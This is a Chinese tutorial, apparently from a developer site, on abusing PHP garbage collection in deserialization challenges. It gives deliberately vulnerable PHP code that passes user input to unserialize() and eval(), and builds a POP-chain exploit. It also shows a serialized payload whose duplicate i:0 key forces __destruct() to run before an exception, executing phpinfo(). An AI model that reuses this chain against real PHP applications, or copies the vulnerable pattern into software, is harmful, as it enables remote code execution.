图文详解PHP中GC回收机制的利用

目录
  • 前言
  • 简单铺垫
  • 初识GC
  • 小试牛刀
  • 总结

前言

在前面讲魔术方法时就提到过一个问题,__destruct()无论如何都会被触发,但是前提是必须得完成程序的开始与结束,但是如果程序走了一半,突然报错,那么__destruct()不会触发了,那如果又必须要__destruct()触发又得怎么搞呢?

这里就要提到一个垃圾回收机制---GC回收!!

简单铺垫

先看看这个简单的序列化,一定要先思考再看后面的答案

<?php
highlight_file(__FILE__);

class errorr{
public $rce;
public function __destruct(){

        eval($rce);
}
}

$a = $_GET["a"];
unserialize($a);
?>

很简单的一个反序列化,想办法控制$rce这个变量就可以达到命令执行的目的。

构造exp

<?php
class errorr{
public $rce = "phpinfo();";
}

$a = new errorr();
echo urlencode(serialize($a));
?>

如果你看完了我之前写的序列化与反序列化基础篇就只能说这个是非常简单了。

这里是因为可以用到__destruct()方法

<?php
highlight_file(__FILE__);
class errorr{
public $rce;
public function __destruct(){
        eval($rce);
}
}

$a = $_GET["a"];
unserialize($a);
throw new Exception("???");
?>

如果是这样的话呢?不会的话也不用着急搞懂,我们后面慢慢说。

初识GC

PHP Garbage Collection简称GC,又名垃圾回收,在PHP中使用引用计数和回收周期来自动管理内存对象的。

垃圾,顾名思义就是一些没有用的东西。在这里指的是一些数据或者说是变量在进行某些操作后被置为空(NULL)或者是没有地址(指针)的指向,这种数据一旦被当作垃圾回收后就相当于把一个程序的结尾给划上了句号,那么就不会出现无法调用__destruct()方法了。想知道原理细节的小伙伴可以直接看PHP官方的解答:PHP: 回收周期(Collecting Cycles) - Manual

那接下来就演示用代码演示GC的实际工作。

<?php
highlight_file(__FILE__);
error_reporting(0);
class errorr{
public $num;
public function __construct($num)
{
    $this->num = $num;
    echo $this->num."__construct"."</br>";
}
public function __destruct(){
        echo $this->num."__destruct()"."</br>";
}
}

new errorr(1);
$a = new errorr(2);
$b = new errorr(3);
?>

可以猜一猜结果会是什么。

谢谢有被吃惊到(虽然我是已经知道结果的),new了一个errorr对象,屁股还没坐热就__destruct()了。后面的两个对象则是按部就班先创建完没有操作了以后才结束的。区别就在于对象1没有任何引用也没有指向,在创建的那一刻就被当作垃圾回收了,从而触发了__destruct()方法。

如果没有指向可以,那如过在指向一个对象的中途忽然指向另一个,也就是舍弃了该对象又会怎么样。

<?php
highlight_file(__FILE__);
error_reporting(0);
class errorr{
public $num;
public function __construct($num)
{
    $this->num = $num;
    echo $this->num."__construct"."</br>";
}
public function __destruct(){
        echo $this->num."__destruct()"."</br>";
}
}

$c = array(new errorr(1),0);
$c[0] = $c[1];
$a = new errorr(2);
$b = new errorr(3);
?>

意料之中。

如果注销$c[0] = $c[1]呢?

可以看到,正常创建,最后销毁的。

小试牛刀

既然知道如何利用GC了,那就看一个例题。

<?php
highlight_file(__FILE__);
error_reporting(0);
class errorr0{
public $num;
public function __destruct(){
        echo "hello __destruct";
        echo $this->num;
    }
}
class errorr1{
    public $err;
    public function __toString()
    {
        echo "hello __toString";
        $this->err->flag();
    }
}

class errorr2{
    public $err;
    public function flag()
    {
        echo "hello __flag()";
        eval($this->err);
    }
}

$a=unserialize($_GET['url']);
throw new Exception("就这?");

?>

自己胡思乱想出来的题目,太简单也不要骂我哈哈哈。可能这个throw new Exception();有点突兀,这其实就是阻止__destruct()执行的抛错,学过java或者python的小伙伴应该知道。

这也算一个pop链子吧,先分析目的函数,看来看去就是errorr2::flag(),往前推就是errorr1::__toString()会触发这个函数,而errorr0::__destruct()会触发toString,思路理清就把链子构造出来为:首端 --> errorr0::__destruct() --> errorr1::__toString() --> errorr2::flag() -->尾巴。

exp为:

<?php
error_reporting(0);
class errorr0{
	public $num;
	public function __construct()
	{
		$this->num = new errorr1();
	}

}
class errorr1{
    public $err;
	public function __construct()
	{
		$this->err = new errorr2();
	}
}

class errorr2{
    public $err = "phpinfo();";
}

$a = new errorr0();
echo serialize($c);
?>

这个exp的构造有许多方法的,根据自己喜好来,不必和我一样。

这就完了?或许有人迷惑了,如果完了那前面我说的都是在放屁,和pop没区别,所以当然还没完。如果没有这句throw new Exception();就真的构造完了,但是有的话__destruct()是不会执行的,而__destruct()不执行这条链子根本就是堵死的,没啥用。

重点来了,根据之前说的GC回收机制可以把一段数据当做垃圾回收,那不就可以执行__destruct(),然后就有一个问题-------如何触发GC回收机制?!!还记得,之前举过的例子吗?如过没有如何东西指向一个对象,那个对象就会被当作垃圾回收。所以,我们先看修改后的exp

<?php
error_reporting(0);
class errorr0{
	public $num;
	public function __construct()
	{
		$this->num = new errorr1();
	}

}
class errorr1{
    public $err;
	public function __construct()
	{
		$this->err = new errorr2();
	}
}

class errorr2{
    public $err = "phpinfo();";
}

$a = new errorr0();
$c = array(0=>$a,1=>NULL);
echo serialize($c);
?>

可以看出来,就加了一行代码,就是

$c = array(0=>$a,1=>NULL);

把目标对象赋给键为0,键为1赋值为NULL。为什么要这么做,因为这样操作后,得到的字符串为:

a:2:{i:0;O:7:"errorr0":1:{s:3:"num";O:7:"errorr1":1:{s:3:"err";O:7:"errorr2":1:{s:3:"err";s:10:"phpinfo();";}}}i:1;N;}

可以自己试试。解释一下这串字符。

第一个a为数组,2为数组中键有两个 i = 0以及 i = 1

重点重点重点,虽然有两个键i = 0对应的是我们目标对象,i = 1NULL,如果这个时候我们做一件坏事,把i 本应该等于 1修改为 i = 0。那不就是把i = 0指向NULL了吗?然后就实现了GC回收。所以最后我们修改后的字符串为:

a:2:{i:0;O:7:"errorr0":1:{s:3:"num";O:7:"errorr1":1:{s:3:"err";O:7:"errorr2":1:{s:3:"err";s:10:"phpinfo();";}}}i:0;N;}

成功拿下!!这就是GC回收机制的利用,现在返回去看开始那个铺垫我想你应该就懂了。

总结

因为讲的GC回收机制并不算深入,只是谈谈如何利用,所以如果想要深入了解的还是得自己去百度查查别人写的原理,另外就是GC回收机制的利用需要修改字符串中的数据,如果phar反序列化+GC的话就还需要额外修改phar文件的签名,如果遇到的话就需要在修改序列化字符串后再对其进行加密得到的数据替换原本的签名。

到此这篇关于PHP中GC回收机制利用的文章就介绍到这了,更多相关PHP中GC回收机制内容请搜索我们以前的文章或继续浏览下面的相关文章希望大家以后多多支持我们!

参考:浅析GC回收机制与phar反序列化 | Arsene.Tang

https://www.jb51.net/article/70851.htm

(0)

相关推荐

  • 图文详解PHP中GC回收机制的利用

    目录 前言 简单铺垫 初识GC 小试牛刀 总结 前言 在前面讲魔术方法时就提到过一个问题,__destruct()无论如何都会被触发,但是前提是必须得完成程序的开始与结束,但是如果程序走了一半,突然报错,那么__destruct()不会触发了,那如果又必须要__destruct()触发又得怎么搞呢? 这里就要提到一个垃圾回收机制---GC回收!! 简单铺垫 先看看这个简单的序列化,一定要先思考再看后面的答案 <?php highlight_file(__FILE__); class errorr

  • 图文详解Java中的序列化机制

    目录 概述 对象序列化和反序列化机制 修改默认的序列化机制 使用transient关键字 自定义readObject.writeObject方法 实现Externalizable接口 serialVersionUID的作用 使用序列化clone 概述 java中的序列化可能大家像我一样都停留在实现Serializable接口上,对于它里面的一些核心机制没有深入了解过.直到最近在项目中踩了一个坑,就是序列化对象添加一个字段以后,使用方系统报了反序列化失败,原因是我们双方的序列化对象没有加上seri

  • 详解bash中的初始化机制

    Bash初始化文件 交互式login shell 在下列情况下,我们可以获得一个login shell: 登录系统时获得的顶层shell,无论是通过本地终端登录,还是通过网络ssh登录.这种情况下获得的login shell是一个交互式shell. 在终端下使用--login选项调用bash,可以获得一个交互式login shell. 在脚本中使用--login选项调用bash(例如:#!/bin/bash --login)可以得到一个非交互式的login shell. 使用su -切换到指定用

  • 详解Java中的反射机制和动态代理

    一.反射概述 反射机制指的是Java在运行时候有一种自观的能力,能够了解自身的情况为下一步做准备,其想表达的意思就是:在运行状态中,对于任意一个类,都能够获取到这个类的所有属性和方法:对于任意一个对象,都能够调用它的任意一个方法和属性(包括私有的方法和属性),这种动态获取的信息以及动态调用对象的方法的功能就称为java语言的反射机制.通俗点讲,通过反射,该类对我们来说是完全透明的,想要获取任何东西都可以,这是一种动态获取类的信息以及动态调用对象方法的能力. 想要使用反射机制,就必须要先获取到该类

  • 一文详解Java中的类加载机制

    目录 一.前言 二.类加载的时机 2.1 类加载过程 2.2 什么时候类初始化 2.3 被动引用不会初始化 三.类加载的过程 3.1 加载 3.2 验证 3.3 准备 3.4 解析 3.5 初始化 四.父类和子类初始化过程中的执行顺序 五.类加载器 5.1 类与类加载器 5.2 双亲委派模型 5.3 破坏双亲委派模型 六.Java模块化系统 一.前言 Java虚拟机把描述类的数据从Class文件加载到内存,并对数据进行校验.转换解析和初始化,最 终形成可以被虚拟机直接使用的Java类型,这个过程

  • 一文详解Python中的重试机制

    目录 介绍 1. 最基本的重试 2. 设置停止基本条件 3. 设置何时进行重试 4. 重试后错误重新抛出 5. 设置回调函数 介绍 为了避免由于一些网络或等其他不可控因素,而引起的功能性问题.比如在发送请求时,会因为网络不稳定,往往会有请求超时的问题. 这种情况下,我们通常会在代码中加入重试的代码.重试的代码本身不难实现,但如何写得优雅.易用,是我们要考虑的问题. 这里要给大家介绍的是一个第三方库 - Tenacity (标题中的重试机制并并不准确,它不是 Python 的内置模块,因此并不能称

  • 详解SpringMVC中的异常处理机制

    目录 开头 1.ExceptionHandlerExceptionResolver 2. demo 开头 试想一下我们一般怎么统一处理异常呢,答:切面.但抛开切面不讲,如果对每一个controller方法抛出的异常做专门处理,那么着实太费劲了,有没有更好的方法呢?当然有,就是本篇文章接下来要介绍的springmvc的异常处理机制,用到了ControllerAdvice和ExceptionHandler注解,有点切面的感觉哈哈. 1.ExceptionHandlerExceptionResolve

  • 详解JavaScript的垃圾回收机制

    目录 为什么需要垃圾回收(GC) 什么是垃圾回收 垃圾产生 垃圾回收策略 引用计数标记 循环引用引发的问题 解决方法 引用计数算法的优缺点 标记清除算法 核心思想 标记清除算法优缺点 标记整理算法 V8引擎的垃圾回收 回收新生代对象 对象晋升机制 回收老生代对象 参考文档: 总结 为什么需要垃圾回收(GC) 程序和人一样,生活时间长了会产生垃圾,程序在运行过程中也会产生垃圾,垃圾积攒过多后,会导致程序运行速度变慢. 在JavaScript中的字符串.对象.数组等数据的内存是不固定的,只有真正使用

  • 图文详解Javascript中的上下文和作用域

    执行上下文(Execution context) 执行上下文(简称上下文)决定了Js执行过程中可以获取哪些变量.函数.数据,一段程序可能被分割成许多不同的上下文,每一个上下文都会绑定一个变量对象(variable object),它就像一个容器,用来存储当前上下文中所有已定义或可获取的变量.函数等.位于最顶端或最外层的上下文称为全局上下文(global context),全局上下文取决于执行环境,如Node中的global和Browser中的window: 需要注意的是,上下文与作用域(scop

  • 详解Android中的NestedScrolling机制带你玩转嵌套滑动

    一.概述 Android在support.v4包中为大家提供了两个非常神奇的类: NestedScrollingParent NestedScrollingChild 如果你从未听说过这两个类,没关系,听我慢慢介绍,你就明白这两个类可以用来干嘛了.相信大家都见识过或者使用过CoordinatorLayout,通过这个类可以非常便利的帮助我们完成一些炫丽的效果,例如下面这样的: 这样的效果就非常适合使用NestedScrolling机制去完成,并且CoordinatorLayout背后其实也是利用

随机推荐